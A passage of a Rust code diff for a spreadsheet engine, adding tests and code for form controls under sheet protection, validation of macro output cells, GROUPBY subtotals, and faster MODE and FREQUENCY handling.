+    s.execute("review.protectSheet", json!({})).unwrap();
+    s.execute("control.format", json!({"id": c, "name": "Rate", "value": 30, "min": 0, "max": 100, "step": 1})).unwrap();
+    assert_eq!(control(&s, c).name, "Rate");
+    assert!(formula(&s));
+    s.execute("review.unprotectSheet", json!({})).unwrap();
+    // A changed value writes the constant over the formula.
+    s.execute("control.format", json!({"id": c, "value": 40, "min": 0, "max": 100, "step": 1})).unwrap();
+    assert!(!formula(&s), "the formula is replaced");
+    assert_eq!(v(&s, "B1"), Value::Number(40.0));
+}
+
+/// Using a slider or spin button writes its linked cell through `cell.set`, so the cell's
+/// protection governs it: a locked cell on a protected sheet refuses the change, and the control
+/// keeps its value (the control's change and the cell write are one group, rolled back together).
+/// A control's own Locked flag keeps it from being moved or edited, not from being used, as in
+/// Excel, so an unlocked linked cell takes the value on a protected sheet.
+#[test]
+fn a_locked_linked_cell_on_a_protected_sheet_refuses_the_change_and_the_control_keeps_its_value() {
+    let mut s = s();
+    let c = id(&s.execute("insert.slider", json!({"at": "D2", "link": "B1", "value": 40})).unwrap());
+    s.execute("control.format", json!({"id": c, "locked": false})).unwrap();
+    s.execute("review.protectSheet", json!({})).unwrap();
+    let before = undo_len(&s);
+    assert!(err(s.execute("control.setValue", json!({"id": c, "value": 60}))).contains("protected"));
+    assert_eq!((control(&s, c).value, v(&s, "B1")), (40, Value::Number(40.0)), "nothing is half-applied");
+    assert_eq!(undo_len(&s), before, "no undo step is left behind");
+    // Format Control: a new maximum that would pull the value into the cell is refused whole.
+    assert!(err(s.execute("control.format", json!({"id": c, "max": 30}))).contains("protected"));
+    assert_eq!((control(&s, c).max, control(&s, c).value), (100, 40));
+    // Inserting a control with a value for a locked cell is refused and leaves no control behind.
+    assert!(err(s.execute("insert.spinButton", json!({"at": "D8", "link": "B2", "value": 5}))).contains("protected"));
+    assert_eq!(s.doc().unwrap().wb.sheet(0).unwrap().controls.len(), 1);
+    // The value the cell already holds writes nothing, so nothing is refused.
+    s.execute("control.setValue", json!({"id": c, "value": 40})).unwrap();
+    assert_eq!(undo_len(&s), before);
+    // An unlocked linked cell takes the value on the protected sheet.
+    s.execute("review.unprotectSheet", json!({})).unwrap();
+    s.execute("home.lockCell", json!({"range": "B1", "on": false})).unwrap();
+    s.execute("review.protectSheet", json!({})).unwrap();
+    s.execute("control.setValue", json!({"id": c, "value": 60})).unwrap();
+    assert_eq!((control(&s, c).value, v(&s, "B1")), (60, Value::Number(60.0)));
+}
+
+/// A link to a cell on another sheet obeys that sheet's protection, not the control's sheet's.
+#[test]
+fn a_link_to_another_sheet_obeys_that_sheets_protection() {
+    let mut s = s();
+    s.execute("home.insertSheet", json!({"name": "Data"})).unwrap();
+    s.execute("sheet.activate", json!({"sheet": "Sheet1"})).unwrap();
+    let c = id(&s.execute("insert.slider", json!({"at": "D2", "link": "Data!B1", "value": 10})).unwrap());
+    assert_eq!(control(&s, c).link.as_deref(), Some("Data!$B$1"));
+    let data = |s: &Session| {
+        let wb = &s.doc().unwrap().wb;
+        wb.sheet(wb.sheet_index("Data").unwrap()).unwrap().value(gridcraft_core::CellRef::new(0, 1))
+    };
+    assert_eq!(data(&s), Value::Number(10.0));
+    s.execute("review.protectSheet", json!({"sheet": "Data"})).unwrap();
+    let before = undo_len(&s);
+    assert!(err(s.execute("control.setValue", json!({"id": c, "value": 20}))).contains("protected"));
+    assert_eq!((control(&s, c).value, data(&s)), (10, Value::Number(10.0)));
+    assert_eq!(undo_len(&s), before);
+    assert!(err(s.execute("insert.spinButton", json!({"at": "D8", "link": "Data!B2", "value": 5}))).contains("protected"));
+    assert_eq!(s.doc().unwrap().wb.sheet(0).unwrap().controls.len(), 1);
+    // Protecting the control's own sheet instead leaves the write to the other sheet alone.
+    s.execute("review.unprotectSheet", json!({"sheet": "Data"})).unwrap();
+    s.execute("review.protectSheet", json!({})).unwrap();
+    s.execute("control.setValue", json!({"id": c, "value": 20})).unwrap();
+    assert_eq!((control(&s, c).value, data(&s)), (20, Value::Number(20.0)));
+    // A link to a sheet the workbook doesn't have is refused with a clear message.
+    s.execute("review.unprotectSheet", json!({})).unwrap();
+    assert!(err(s.execute("control.format", json!({"id": c, "link": "Nowhere!B1"}))).contains("isn't a cell of this workbook"));
+    assert_eq!(control(&s, c).link.as_deref(), Some("Data!$B$1"));
+}
@@ -2434,3 +2434,83 @@ fn a_shortcut_taken_while_recording_is_reported_when_it_is_left_off() {
    assert!(r.get("shortcutDropped").is_none(), "{r}");
    assert_eq!(s.execute("macro.get", json!({"name": "Keep"})).unwrap()["shortcut"], "Ctrl+Shift+Q");
 }
+
+/// `output` (a form button's output cell) moves where the macro writes: the footprint, the
+/// conflict rule and `macro.check` protect the data at the cells it names, as at the macro's own
+/// anchor, and a value that names no cell is refused before anything runs.
+#[test]
+fn an_output_override_is_checked_and_protected_like_the_macros_own_anchor() {
+    let mut s = s();
+    s.execute("home.insertSheet", json!({"name": "Other"})).unwrap();
+    s.execute("sheet.activate", json!({"sheet": 0})).unwrap();
+    put(
+        &mut s,
+        json!({"name": "Placed", "output": {"anchor": "D1"}, "steps": [
+            {"command": "cell.set", "params": {"cell": "Output", "input": "out"}}
+        ]}),
+    );
+    set(&mut s, "F1", "keep me");
+    let start = s.doc().unwrap().wb.clone();
+    // Writing over F1 asks (programmatic runs fail) and changes nothing, as it would at D1.
+    let r = s.execute("macro.run", json!({"name": "Placed", "output": "F1"}));
+    let Err(EngineError::Confirm(q)) = r else { panic!("{r:?}") };
+    assert!(q.contains("(F1 on Sheet1)"), "{q}");
+    let err = s.execute("macro.run", json!({"name": "Placed", "output": "F1", "onConflict": "fail"})).unwrap_err().to_string();
+    assert!(err.contains("Nothing was changed"), "{err}");
+    assert!(Arc::ptr_eq(&s.doc().unwrap().wb, &start));
+    // macro.check reports the override and its conflict.
+    let c = s.execute("macro.check", json!({"name": "Placed", "output": "F1"})).unwrap();
+    assert_eq!((&c["ok"], &c["output"], &c["conflicts"]), (&json!(false), &json!("F1"), &json!(1)), "{c}");
+    // On another sheet too.
+    s.execute("cell.set", json!({"cell": "Other!B2", "input": "theirs"})).unwrap();
+    let r = s.execute("macro.run", json!({"name": "Placed", "output": "Other!B2"}));
+    assert!(matches!(&r, Err(EngineError::Confirm(q)) if q.contains("(B2 on Other)")), "{r:?}");
+    // The stored anchor holding data doesn't matter when the output goes elsewhere.
+    set(&mut s, "D1", "stored anchor's data");
+    s.execute("macro.run", json!({"name": "Placed", "output": "H1"})).unwrap();
+    assert_eq!((v(&s, "H1").display(), v(&s, "D1").display()), ("out".to_string(), "stored anchor's data".to_string()));
+    // Hostile values are refused before anything runs.
+    let before = s.doc().unwrap().wb.clone();
+    for (bad, needle) in [
+        (json!(5), "`output` must be reference text"),
+        (json!({"cell": "F1"}), "`output` must be reference text"),
+        (json!(" "), "`output` must be reference text"),
+        (json!("x".repeat(1_025)), "`output` must be reference text"),
+        (json!("F1\nF2"), "`output` must be reference text"),
+        (json!("NoSuchSheet!A1"), "output anchor"),
+        (json!("XFE1"), "output anchor"),
+        (json!("A1048577"), "output anchor"),
+        (json!("not a cell!!"), "output anchor"),
+    ] {
+        let err = s.execute("macro.run", json!({"name": "Placed", "output": bad, "onConflict": "overwrite"})).unwrap_err().to_string();
+        assert!(err.contains(needle), "{bad}: {err}");
+        let c = s.execute("macro.check", json!({"name": "Placed", "output": bad})).unwrap();
+        assert!(c["errors"].to_string().contains(needle), "{bad}: {c}");
+    }
+    assert!(Arc::ptr_eq(&s.doc().unwrap().wb, &before));
+}
+
+/// After a partial footprint (Solver can't be previewed), a later step that deletes a form
+/// control is caught by the check of each step, as one that deletes a chart or a picture is.
+#[test]
+fn a_step_that_deletes_a_form_control_after_a_partial_footprint_is_caught() {
+    let mut s = s();
+    set(&mut s, "A1", "1");
+    set(&mut s, "C1", "=A1");
+    let control = s.execute("insert.spinButton", json!({"at": "E2"})).unwrap()["control"].as_u64().unwrap();
+    let solver = json!({"command": "data.solver", "params": {"objective": "C1", "variables": "A1", "constraints": ["A1 <= 5"], "method": "simplex", "saveModel": false}});
+    let delete = json!({"command": "object.delete", "params": {"kind": "control", "id": control}});
+    put(&mut s, json!({"name": "Drop", "inputs": [{"name": "Input"}], "steps": [solver, delete]}));
+    let start = s.doc().unwrap().wb.clone();
+    for rule in ["fail", "ask"] {
+        let r = s.execute("macro.run", json!({"name": "Drop", "inputs": "A1", "onConflict": rule}));
+        let e = match (rule, r) {
+            ("fail", Err(EngineError::Other(e))) | ("ask", Err(EngineError::Confirm(e))) => e,
+            (_, r) => panic!("{rule}: {r:?}"),
+        };
+        assert!(e.contains("Step 2 (object.delete): It would write over data (1 object)"), "{e}");
+        assert!(Arc::ptr_eq(&s.doc().unwrap().wb, &start), "{rule}: rolled back");
+    }
+    s.execute("macro.run", json!({"name": "Drop", "inputs": "A1", "overwrite": true})).unwrap();
+    assert!(s.doc().unwrap().wb.active().unwrap().controls.is_empty());
+}
@@ -20,8 +20,8 @@ fn id_of(v: &serde_json::Value, key: &str) -> u32 {
 }

 /// A table with one object of each kind on the first sheet: a chart, a picture, a shape, a
-/// slicer and an equation, in `ObjKind::ALL` order.
-fn every_kind(s: &mut Session) -> [ObjRef; 5] {
+/// slicer, an equation and a form control, in `ObjKind::ALL` order.
+fn every_kind(s: &mut Session) -> [ObjRef; 6] {
    s.execute("range.setValues", json!({"range": "A1", "values": [["Region", "Qty"], ["East", 3], ["West", 5], ["East", 2], ["North", 8]]})).unwrap();
    s.execute("insert.table", json!({"range": "A1:B5", "name": "Sales"})).unwrap();
    let chart = id_of(&s.execute("insert.chart", json!({"range": "B1:B5", "type": "column", "at": "D2"})).unwrap(), "chart");
@@ -30,12 +30,14 @@ fn every_kind(s: &mut Session) -> [ObjRef; 5] {
    s.execute("selection.set", json!({"cell": "A2"})).unwrap();
    let slicer = id_of(&s.execute("insert.slicer", json!({"column": "Region", "at": "L2"})).unwrap(), "slicer");
    let equation = id_of(&s.execute("insert.equation", json!({"latex": "x^2", "cell": "L18"})).unwrap(), "equation");
+    let control = id_of(&s.execute("insert.slider", json!({"at": "P18", "link": "$B$7"})).unwrap(), "control");
    [
        ObjRef::new(ObjKind::Chart, chart),
        ObjRef::new(ObjKind::Image, image),
        ObjRef::new(ObjKind::Shape, shape),
        ObjRef::new(ObjKind::Slicer, slicer),
        ObjRef::new(ObjKind::Equation, equation),
+        ObjRef::new(ObjKind::Control, control),
    ]
 }

@@ -68,9 +70,9 @@ fn every_kind_is_found_moved_and_deleted_by_kind_and_id() {
            assert!(sheet(&s, 0).has_object(*later), "deleting {o:?} leaves {later:?}");
        }
    }
-    // One undo step per delete brings the equation back.
+    // One undo step per delete brings the control, deleted last, back.
    s.execute("edit.undo", json!({})).unwrap();
-    assert!(sheet(&s, 0).has_object(objs[4]));
+    assert!(sheet(&s, 0).has_object(objs[5]));
 }

 #[test]
@@ -84,9 +86,11 @@ fn selection_pane_lists_and_stacks_slicers() {
    for k in ObjKind::ALL {
        assert!(kinds.contains(&k.name()), "{k:?} listed in {kinds:?}");
    }
-    assert_eq!(kinds.last(), Some(&"slicer"), "slicers stack on top");
+    assert_eq!(kinds.last(), Some(&"control"), "form controls stack on top");
+    assert_eq!(kinds.get(kinds.len() - 2), Some(&"slicer"), "slicers stack above charts, pictures and shapes");
    let names: Vec<&str> = items.iter().map(|o| o["name"].as_str().unwrap()).collect();
    assert!(names.contains(&"Region") && names.contains(&"Qty"), "{names:?}");
+    assert!(names.contains(&format!("Slider {}", objs[5].id).as_str()), "{names:?}");
    assert_eq!(sheet(&s, 0).slicers.first().map(|c| c.id), Some(objs[3].id));
    s.execute("arrange.sendBackward", json!({"kind": "slicer", "id": second, "toBack": true})).unwrap();
    assert_eq!(sheet(&s, 0).slicers.first().map(|c| c.id), Some(second));
@@ -122,17 +126,17 @@ fn cell_of(s: &Session, o: ObjRef) -> String {
 fn every_kind_follows_row_and_column_edits_and_sorts() {
    let mut s = s();
    let objs = every_kind(&mut s);
-    // Anchors: chart D2, picture D18, shape H18, slicer L2, equation L18.
+    // Anchors: chart D2, picture D18, shape H18, slicer L2, equation L18, slider P18.
    s.execute("object.setAnchorMode", json!({"kind": "shape", "id": objs[2].id, "mode": "absolute"})).unwrap();
    let cells = |s: &Session| objs.map(|o| cell_of(s, o));
-    assert_eq!(cells(&s), ["D2", "D18", "H18", "L2", "L18"]);
+    assert_eq!(cells(&s), ["D2", "D18", "H18", "L2", "L18", "P18"]);
    s.execute("home.insertRows", json!({"rows": "10:11"})).unwrap();
-    assert_eq!(cells(&s), ["D2", "D20", "H18", "L2", "L20"], "rows inserted above move the objects below them; an absolute shape stays");
+    assert_eq!(cells(&s), ["D2", "D20", "H18", "L2", "L20", "P20"], "rows inserted above move the objects below them; an absolute shape stays");
    s.execute("home.insertColumns", json!({"cols": "C:C"})).unwrap();
-    assert_eq!(cells(&s), ["E2", "E20", "H18", "M2", "M20"]);
+    assert_eq!(cells(&s), ["E2", "E20", "H18", "M2", "M20", "Q20"]);
    s.execute("home.deleteColumns", json!({"cols": "C:C"})).unwrap();
    s.execute("home.deleteRows", json!({"rows": "10:11"})).unwrap();
-    assert_eq!(cells(&s), ["D2", "D18", "H18", "L2", "L18"]);
+    assert_eq!(cells(&s), ["D2", "D18", "H18", "L2", "L18", "P18"]);
    // Sorting moves a picture anchored inside the sorted block with its row.
    s.execute("range.setValues", json!({"range": "T1", "values": [["k"], [3], [1], [2]]})).unwrap();
    let pic = ObjRef::new(ObjKind::Image, super::add_image(&mut s, "T2", AnchorMode::MoveAndSize));
@@ -261,6 +265,7 @@ fn a_copied_sheet_gives_its_objects_fresh_ids() {
            .chain(sh.images.iter().map(|c| c.id))
            .chain(sh.shapes.iter().map(|c| c.id))
            .chain(sh.slicers.iter().map(|c| c.id))
+            .chain(sh.controls.iter().map(|c| c.id))
            .collect()
    };
    let mut ids: Vec<u32> = wb.sheets.iter().flat_map(|sh| ids_of(sh)).collect();
@@ -314,6 +319,26 @@ fn object_ids_stay_unique_when_a_file_used_the_largest_id() {
    assert_eq!(ids.len(), 6, "every shape id is distinct across both sheets");
 }

+/// A copied sheet's form controls take free ids like its other objects: a file's control can
+/// carry the largest id, and the ids the copy asks for count the controls.
+#[test]
+fn a_copied_sheets_form_controls_take_free_ids_too() {
+    let mut s = s();
+    let slider = id_of(&s.execute("insert.slider", json!({"at": "B2", "link": "$A$1"})).unwrap(), "control");
+    s.execute("insert.button", json!({"at": "B6"})).unwrap();
+    s.execute("insert.shape", json!({"kind": "rectangle", "at": "D2"})).unwrap();
+    // The file's slider carries the largest id (set on the model, as a loaded file would).
+    std::sync::Arc::make_mut(&mut s.doc_mut().unwrap().wb).sheet_mut(0).unwrap().controls.iter_mut().find(|o| o.id == slider).unwrap().id = u32::MAX;
+    s.execute("sheet.move", json!({"sheet": 0, "to": 1, "copy": true})).unwrap();
+    let wb = &s.doc().unwrap().wb;
+    let mut ids: Vec<u32> = wb.sheets.iter().flat_map(|sh| sh.controls.iter().map(|o| o.id).chain(sh.shapes.iter().map(|o| o.id))).collect();
+    assert_eq!(ids.len(), 6);
+    ids.sort_unstable();
+    ids.dedup();
+    assert_eq!(ids.len(), 6, "every control and shape id is distinct across both sheets: {ids:?}");
+    assert_eq!(ids.iter().filter(|&&i| i == u32::MAX).count(), 1, "only the file's slider keeps the largest id");
+}
+
 /// A file's anchors are not held to the 10,000 points `object.move` gives a new size. A picture
 /// a file made 12,000 wide keeps that width when it is moved, shrinks by what a resize asks
 /// (11,990 stays 11,990, no jump to 10,000) and never grows further; a dimension the file kept
@@ -61,7 +61,7 @@ impl FormulaLocale {
 pub fn parse_input(src: &str, locale: FormulaLocale, known_name: impl Fn(&str) -> bool) -> Result<Expr, ParseError> {
    let mut expr = parser::parse_syntax(src, locale)?;
    if locale == FormulaLocale::Es {
-        normalize(&mut expr, &known_name, &mut Vec::new(), 0, false)?;
+        normalize(&mut expr, &known_name, &mut Bindings::default(), 0, false)?;
    }
    Ok(expr)
 }
@@ -96,7 +96,7 @@ pub fn print_input(expr: &Expr, locale: FormulaLocale, known_name: impl Fn(&str)
        return Ok(crate::print(expr));
    }
    let mut expr = expr.clone();
-    normalize(&mut expr, &known_name, &mut Vec::new(), 0, true)?;
+    normalize(&mut expr, &known_name, &mut Bindings::default(), 0, true)?;
    let canonical = crate::print(&expr);
    let tokens = crate::lexer::tokenize(&canonical).map_err(|e| ParseError { msg: e.msg, pos: e.pos })?;
    let mut out = String::new();
@@ -131,11 +131,47 @@ pub(crate) fn boolean_alias(name: &str) -> Option<bool> {
    }
 }

-fn normalize(expr: &mut Expr, known_name: &impl Fn(&str) -> bool, bindings: &mut Vec<String>, depth: usize, display: bool) -> Result<(), ParseError> {
+/// The LET/LAMBDA names in scope, with how many times each is bound, so a lookup is one probe
+/// instead of a scan of every binding for each call.
+#[derive(Default)]
+struct Bindings {
+    stack: Vec<String>,
+    counts: std::collections::HashMap<String, usize>,
+}
+
+impl Bindings {
+    fn len(&self) -> usize {
+        self.stack.len()
+    }
+
+    fn push(&mut self, name: &str) {
+        let key = crate::fold_name(name);
+        *self.counts.entry(key.clone()).or_default() += 1;
+        self.stack.push(key);
+    }
+
+    fn truncate(&mut self, len: usize) {
+        while self.stack.len() > len {
+            let Some(key) = self.stack.pop() else { break };
+            if let Some(n) = self.counts.get_mut(&key) {
+                *n -= 1;
+                if *n == 0 {
+                    self.counts.remove(&key);
+                }
+            }
+        }
+    }
+
+    fn contains(&self, name: &str) -> bool {
+        self.counts.contains_key(&crate::fold_name(name))
+    }
+}
+
+fn normalize(expr: &mut Expr, known_name: &impl Fn(&str) -> bool, bindings: &mut Bindings, depth: usize, display: bool) -> Result<(), ParseError> {
    if depth > parser::MAX_DEPTH {
        return Err(ParseError { msg: "formula is nested too deeply".into(), pos: 0 });
    }
-    let bound = |name: &str, bindings: &[String]| bindings.iter().rev().any(|n| crate::same_name(n, name)) || known_name(name);
+    let bound = |name: &str, bindings: &Bindings| bindings.contains(name) || known_name(name);
    match expr {
        Expr::Bool(value) if display => {
            let alias = if *value { "VERDADERO" } else { "FALSO" };
@@ -156,7 +192,7 @@ fn normalize(expr: &mut Expr, known_name: &impl Fn(&str) -> bool, bindings: &mut
                        // The new name is not in scope in its own value expression.
                        normalize(value, known_name, bindings, depth + 1, display)?;
                        if let Expr::Name(name) = declaration {
-                            bindings.push(name.clone());
+                            bindings.push(name);
                        }
                    }
                }
@@ -169,7 +205,7 @@ fn normalize(expr: &mut Expr, known_name: &impl Fn(&str) -> bool, bindings: &mut
            if let Some((body, params)) = args.split_last_mut() {
                for param in params {
                    if let Expr::Name(name) = param {
-                        bindings.push(name.clone());
+                        bindings.push(name);
                    }
                }
                normalize(body, known_name, bindings, depth + 1, display)?;
@@ -760,6 +760,13 @@ fn groupby(args: &[Arg], c: &mut dyn Ctx) -> R<Value> {
    let total = opt_count(args, 4)?.unwrap_or(1);
    let sort = opt_count(args, 5)?.unwrap_or(1);
    let filter = opt_arr(args, 6)?;
+    let relationship = opt_count(args, 7)?.unwrap_or(0);
+    // A total depth of N adds subtotals for the first N - 1 key columns, so it can't exceed the
+    // key columns, and a flat table (field_relationship 1) has no levels to subtotal.
+    let depth = total.unsigned_abs() as usize;
+    if depth > rf.cols.max(1) || (depth > 1 && relationship == 1) {
+        return Err(CellError::Value);
+    }
    let p = prepare(&[&rf], &vals, fh, filter.as_ref())?;
    let keys: Vec<Vec<Value>> = p.rows.iter().map(|&r| key_row(&rf, r)).collect();
    let mut groups: HashMap<String, Vec<usize>> = HashMap::new();
@@ -791,13 +798,22 @@ fn groupby(args: &[Arg], c: &mut dyn Ctx) -> R<Value> {
        lines
            .sort_by(|a, b| cmp_keys(&[a.get(ci).cloned().unwrap_or(Value::Empty)], &[b.get(ci).cloned().unwrap_or(Value::Empty)], &[sort.signum()]));
    }
+    if depth > 1 {
+        let mut rows_of = |keys: &[Value]| groups.get(&row_key(keys)).cloned().unwrap_or_default();
+        // The header and total lines count too, so the whole result is checked before it is built.
+        let around = usize::from(p.show_headers) + usize::from(total != 0);
+        let width = rf.cols.saturating_add(vals.cols);
+        let fits = |n: usize| check_output_size(n.saturating_add(around), width);
+        lines = with_subtotals(lines, depth, rf.cols, total < 0, &fits, &mut rows_of, &mut agg_row)?;
+    }
    let mut out = Vec::new();
    if p.show_headers {
        let mut h = p.field_headers.clone();
        h.extend(p.value_headers.iter().cloned());
        out.push(h);
    }
-    let mut total_line = vec![Value::from("Total")];
+    // With subtotals Excel calls the last line "Grand Total".
+    let mut total_line = vec![Value::from(if depth > 1 { "Grand Total" } else { "Total" })];
    total_line.resize(rf.cols, Value::Empty);
    total_line.extend(agg_row(&p.rows));
    if total < 0 {
@@ -812,6 +828,84 @@ fn groupby(args: &[Arg], c: &mut dyn Ctx) -> R<Value> {
    from_rows(out, &Value::Empty)
 }

+/// GROUPBY's subtotals: `lines` (`key_cols` keys, then values) with the lines of each group of a
+/// key level kept together in the order the groups first appear, and for every key level above
+/// `depth` a line after the group (before it when `before`): the group's keys, blanks for the deeper
+/// keys, and the values aggregated over the group's source rows (`rows_of` maps a line's keys to them).
+///
+/// No recursion, so a deep total depth can't exhaust the stack: each line gets the id of its key
+/// prefix at every level (ids count up as prefixes first appear), a stable sort by those ids brings
+/// each group together, and one walk adds a subtotal where a group starts or ends. `fits` gets the
+/// line count as the groups are found, so an oversized result is refused before it is built.
+fn with_subtotals(
+    mut lines: Vec<Vec<Value>>,
+    depth: usize,
+    key_cols: usize,
+    before: bool,
+    fits: &dyn Fn(usize) -> R<()>,
+    rows_of: &mut dyn FnMut(&[Value]) -> Vec<usize>,
+    agg: &mut dyn FnMut(&[usize]) -> Vec<Value>,
+) -> R<Vec<Vec<Value>>> {
+    let levels = depth.saturating_sub(1);
+    if levels == 0 {
+        return Ok(lines);
+    }
+    let mut ids: HashMap<(usize, String), usize> = HashMap::new();
+    let mut paths: Vec<Vec<usize>> = Vec::with_capacity(lines.len());
+    for line in &lines {
+        let mut parent = usize::MAX;
+        let mut path = Vec::with_capacity(levels);
+        for level in 0..levels {
+            let next = ids.len();
+            parent = *ids.entry((parent, row_key(line.get(level..=level).unwrap_or_default()))).or_insert(next);
+            path.push(parent);
+        }
+        fits(lines.len().saturating_add(ids.len()))?;
+        paths.push(path);
+    }
+    let mut group_rows: Vec<Vec<usize>> = vec![Vec::new(); ids.len()];
+    for (line, path) in lines.iter().zip(&paths) {
+        let rows = rows_of(line.get(..key_cols).unwrap_or_default());
+        for &id in path {
+            if let Some(g) = group_rows.get_mut(id) {
+                g.extend_from_slice(&rows);
+            }
+        }
+    }
+    let mut subtotal = |keys: &[Value], level: usize, id: usize| -> Vec<Value> {
+        let mut line: Vec<Value> = keys.iter().take(level + 1).cloned().collect();
+        line.resize(key_cols, Value::Empty);
+        line.extend(agg(group_rows.get(id).map(Vec::as_slice).unwrap_or_default()));
+        line
+    };
+    let mut order: Vec<usize> = (0..lines.len()).collect();
+    order.sort_by(|&a, &b| paths.get(a).cmp(&paths.get(b)));
+    let mut out = Vec::with_capacity(lines.len().saturating_add(ids.len()));
+    let mut prev: Option<(Vec<Value>, &[usize])> = None;
+    for &i in &order {
+        let (Some(line), Some(path)) = (lines.get_mut(i).map(std::mem::take), paths.get(i)) else { continue };
+        // The first level at which this line leaves the previous line's groups.
+        let split = prev.as_ref().map_or(0, |(_, p)| p.iter().zip(path).take_while(|(a, b)| a == b).count());
+        if before {
+            for (level, &id) in path.iter().enumerate().skip(split) {
+                out.push(subtotal(&line, level, id));
+            }
+        } else if let Some((keys, p)) = &prev {
+            for (level, &id) in p.iter().enumerate().skip(split).rev() {
+                out.push(subtotal(keys, level, id));
+            }
+        }
+        prev = Some((line.get(..key_cols).unwrap_or_default().to_vec(), path));
+        out.push(line);
+    }
+    if !before && let Some((keys, p)) = &prev {
+        for (level, &id) in p.iter().enumerate().rev() {
+            out.push(subtotal(keys, level, id));
+        }
+    }
+    Ok(out)
+}
+
 /// Height and width of a PIVOTBY grid: `header_rows` (one per column field, plus the value-name row) and
 /// `body_rows` (row keys plus the total row), each `lead` row-field cells wide plus `value_cols` cells per column key.
 fn pivot_dims(header_rows: usize, body_rows: usize, col_keys: usize, value_cols: usize, lead: usize) -> (usize, usize) {
@@ -1265,6 +1359,78 @@ mod tests {
        is_err(ev("GROUPBY", vec![rf(region), av(col(&[1.0])), t("SUM")]), CellError::Value);
    }

+    #[test]
+    fn groupby_subtotals_past_the_size_limit_are_refused_before_they_are_built() {
+        // One row with 4000 key columns at depth 4000 asks for 3999 subtotal lines, each 4001 cells
+        // wide: 16 million cells, over the limit. It is #NUM! before any subtotal line exists (it
+        // used to build them all, nesting 4000 levels deep, and refuse them afterwards).
+        let keys = av(arr(vec![(0..4000).map(|i| nv(f64::from(i))).collect()]));
+        is_err(ev("GROUPBY", vec![keys, av(col(&[1.0])), t("SUM"), empty(), n(4000.0)]), CellError::Num);
+    }
+
+    #[test]
+    fn groupby_total_depth_adds_subtotals() {
+        // #1456 item 1, values as Excel 365 shows them.
+        let keys2 = || av(arr(vec![vec![tv("a"), tv("x")], vec![tv("a"), tv("y")], vec![tv("b"), tv("x")]]));
+        let vals3 = || av(col(&[1.0, 2.0, 3.0]));
+        let e = Value::Empty;
+        let r = ev("GROUPBY", vec![keys2(), vals3(), t("SUM"), empty(), n(2.0)]);
+        assert_eq!(
+            rows_of(&r),
+            vec![
+                vec![tv("a"), tv("x"), nv(1.0)],
+                vec![tv("a"), tv("y"), nv(2.0)],
+                vec![tv("a"), e.clone(), nv(3.0)],
+                vec![tv("b"), tv("x"), nv(3.0)],
+                vec![tv("b"), e.clone(), nv(3.0)],
+                vec![tv("Grand Total"), e.clone(), nv(6.0)],
+            ]
+        );
+        let r = ev("GROUPBY", vec![keys2(), vals3(), t("SUM"), empty(), n(-2.0)]);
+        assert_eq!(
+            rows_of(&r),
+            vec![
+                vec![tv("Grand Total"), e.clone(), nv(6.0)],
+                vec![tv("a"), e.clone(), nv(3.0)],
+                vec![tv("a"), tv("x"), nv(1.0)],
+                vec![tv("a"), tv("y"), nv(2.0)],
+                vec![tv("b"), e.clone(), nv(3.0)],
+                vec![tv("b"), tv("x"), nv(3.0)],
+            ]
+        );
+        let keys3 = || {
+            av(arr(vec![
+                vec![tv("a"), tv("x"), tv("p")],
+                vec![tv("a"), tv("x"), tv("q")],
+                vec![tv("a"), tv("y"), tv("p")],
+                vec![tv("b"), tv("x"), tv("p")],
+            ]))
+        };
+        let vals4 = || av(col(&[1.0, 2.0, 3.0, 4.0]));
+        let r = ev("GROUPBY", vec![keys3(), vals4(), t("SUM"), empty(), n(3.0)]);
+        let line = |k: [&str; 3], v: f64| k.iter().map(|s| if s.is_empty() { Value::Empty } else { tv(s) }).chain([nv(v)]).collect::<Vec<_>>();
+        assert_eq!(
+            rows_of(&r),
+            vec![
+                line(["a", "x", "p"], 1.0),
+                line(["a", "x", "q"], 2.0),
+                line(["a", "x", ""], 3.0),
+                line(["a", "y", "p"], 3.0),
+                line(["a", "y", ""], 3.0),
+                line(["a", "", ""], 6.0),
+                line(["b", "x", "p"], 4.0),
+                line(["b", "x", ""], 4.0),
+                line(["b", "", ""], 4.0),
+                line(["Grand Total", "", ""], 10.0),
+            ]
+        );
+        // Depth 1 keeps "Total"; a depth past the key columns, or subtotals of a flat table, are errors.
+        let r = ev("GROUPBY", vec![keys2(), vals3(), t("SUM"), empty(), n(1.0)]);
+        assert_eq!(rows_of(&r).last().unwrap(), &vec![tv("Total"), e, nv(6.0)]);
+        is_err(ev("GROUPBY", vec![av(arr(vec![vec![tv("a")], vec![tv("b")]])), av(col(&[1.0, 2.0])), t("SUM"), empty(), n(2.0)]), CellError::Value);
+        is_err(ev("GROUPBY", vec![keys2(), vals3(), t("SUM"), empty(), n(2.0), empty(), empty(), n(1.0)]), CellError::Value);
+    }
+
    #[test]
    fn pivotby() {
        let (region, item, amt) = sales();
@@ -50,12 +50,27 @@ pub(super) fn median(v: Vec<f64>) -> R<f64> {

 /// Values occurring at least twice, ordered by first occurrence, with their (equal, maximal) count.
 fn modes(v: &[f64]) -> Vec<f64> {
+    // Index of each distinct number in `counts`, so counting is linear rather than a search of
+    // every distinct number so far. Keyed by bits with -0 folded into 0 (they compare equal); NaN
+    // never equals anything, so it is never merged.
+    let mut index: std::collections::HashMap<u64, usize> = std::collections::HashMap::new();
    let mut counts: Vec<(f64, usize)> = Vec::new();
    for &x in v {
-        if let Some(e) = counts.iter_mut().find(|e| e.0 == x) {
-            e.1 += 1;
-        } else {
+        if x.is_nan() {
            counts.push((x, 1));
+            continue;
+        }
+        let key = if x == 0.0 { 0 } else { x.to_bits() };
+        match index.entry(key) {
+            std::collections::hash_map::Entry::Occupied(e) => {
+                if let Some(c) = counts.get_mut(*e.get()) {
+                    c.1 += 1;
+                }
+            }
+            std::collections::hash_map::Entry::Vacant(e) => {
+                e.insert(counts.len());
+                counts.push((x, 1));
+            }
        }
    }
    let best = counts.iter().map(|e| e.1).max().unwrap_or(0);
@@ -451,11 +466,15 @@ pub(super) fn frequency(a: &[Arg], _: C) -> R<Value> {
    if bins.is_empty() {
        return col_value(vec![data.len() as f64]);
    }
-    let mut order: Vec<usize> = (0..bins.len()).collect();
+    // a NaN bin equals no value (and would break the ascending order searched below)
+    let mut order: Vec<usize> = (0..bins.len()).filter(|&i| bins.get(i).is_some_and(|b| !b.is_nan())).collect();
    order.sort_by(|&i, &j| bins.get(i).copied().unwrap_or(0.0).total_cmp(&bins.get(j).copied().unwrap_or(0.0)));
    let mut counts = vec![0.0; bins.len() + 1];
    for x in data {
-        let slot = order.iter().find(|&&i| x <= bins.get(i).copied().unwrap_or(f64::INFINITY)).copied().unwrap_or(bins.len());
